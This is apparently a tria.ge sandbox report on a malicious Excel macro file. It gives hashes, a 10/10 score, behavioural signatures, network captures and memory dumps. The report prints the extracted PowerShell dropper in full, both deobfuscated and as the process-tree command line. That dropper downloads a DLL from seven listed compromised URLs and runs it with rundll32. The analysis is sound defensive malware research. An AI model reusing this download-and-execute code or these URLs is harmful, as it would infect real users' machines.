Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

8

8656632045...1.xlsm

windows7_x64

10

8656632045...1.xlsm

windows10_x64

10

Resubmissions

24/11/2021, 17:59 UTC

211124-wk8rgsddbm 10

22/11/2021, 14:46 UTC

211122-r5n6csagd6 10

22/11/2021, 14:46 UTC

211122-r5csbsfgdp 10

22/11/2021, 14:44 UTC

211122-r4kfsafgdn 10

22/11/2021, 14:41 UTC

211122-r2x9vsfgcq 10

22/11/2021, 14:20 UTC

211122-rneklaffgr 10

22/11/2021, 14:15 UTC

211122-rkk8zaffgl 10

17/11/2021, 06:51 UTC

211117-hm1l1aeefm 10

17/11/2021, 06:37 UTC

211117-hdnk3seedn 10

Analysis

  • max time kernel
    121s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    24/11/2021, 17:59 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    865663204559_17_Nov_2021.xlsm

  • Size

    44KB

  • MD5

    477fd718bb764ffe3c5afde16c6c8dd2

  • SHA1

    eb932e19d95f88d64270d40cdc0b92c6d1cf63be

  • SHA256

    ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

  • SHA512

    f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$dfkj = $strs = "https://evgeniys.ru/sap-logs/D6/", "http://crownadvertising.ca/wp-includes/OxiAACCoic/", "https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/", "http://immoinvest.com.br/blog_old/wp-admin/luoT/", "https://yoho.love/wp-content/e4laFBDXIvYT6O/", "https://www.168801.xyz/wp-content/6J3CV4meLxvZP/", "https://www.pasionportufuturo.pe/wp-content/XUBS/"
2
foreach ($st in $strs) {
3
$r1 = get-random
4
$r2 = get-random
5
$tpth = "C:\\ProgramData\\\\" + $r1 + ".dll"
6
invoke-webrequest -uri $st -outfile $tpth
7
if (test-path $tpth) {
8
$fp = "C:\\Windows\\SysWow64\\rundll32.exe"
9
$a = $tpth + ",f" + $r2
10
start-process "C:\\Windows\\SysWow64\\rundll32.exe" -argumentlist $a
11
break
12
}
13
}
14
invoke-expression $dfkj
15
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/
exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/
exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/
exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/
exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
          PID:3812

    Network

    • flag-us
      DNS
      time.windows.com
      Remote address:
      8.8.8.8:53
      Request
      time.windows.com
      IN A
      Response
      time.windows.com
      IN CNAME
      twc.trafficmanager.net
      twc.trafficmanager.net
      IN A
      40.119.148.38
    • flag-us
      DNS
      sv.symcb.com
      Remote address:
      8.8.8.8:53
      Request
      sv.symcb.com
      IN A
      Response
      sv.symcb.com
      IN CNAME
      crl-symcprod.digicert.com
      crl-symcprod.digicert.com
      IN CNAME
      cs9.wac.phicdn.net
      cs9.wac.phicdn.net
      IN A
      93.184.220.29
    • flag-us
      GET
      http://sv.symcb.com/sv.crl
      Remote address:
      93.184.220.29:80
      Request
      GET /sv.crl HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      User-Agent: Microsoft-CryptoAPI/10.0
      Host: sv.symcb.com
      Response
      HTTP/1.1 200 OK
      Accept-Ranges: bytes
      Age: 1095
      Cache-Control: public, max-age=3600
      Content-Type: application/pkix-crl
      Date: Wed, 24 Nov 2021 18:00:32 GMT
      Last-Modified: Wed, 24 Nov 2021 17:42:17 GMT
      Server: ECS (amb/6BC8)
      X-Cache: HIT
      X-Content-Type-Options: nosniff
      X-Frame-Options: SAMEORIGIN
      X-XSS-Protection: 1; mode=block
      Content-Length: 94673
    • 93.184.220.29:80
      http://sv.symcb.com/sv.crl
      http
      2.0kB
       97.8kB
       40
      70

      HTTP Request

      GET http://sv.symcb.com/sv.crl

      HTTP Response

      200
    • 8.8.8.8:53
      time.windows.com
      dns
      62 B
       114 B
       1
      1

      DNS Request

      time.windows.com

      DNS Response

      40.119.148.38

    • 40.119.148.38:123
      time.windows.com
      ntp
      152 B
       2
    • 8.8.8.8:53
      sv.symcb.com
      dns
      58 B
       142 B
       1
      1

      DNS Request

      sv.symcb.com

      DNS Response

      93.184.220.29

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2692-118-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-119-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-120-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-121-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-122-0x0000024FB5980000-0x0000024FB5982000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2692-123-0x0000024FB5980000-0x0000024FB5982000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2692-124-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2692-125-0x0000024FB5980000-0x0000024FB5982000-memory.dmp

      Filesize

      8KB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.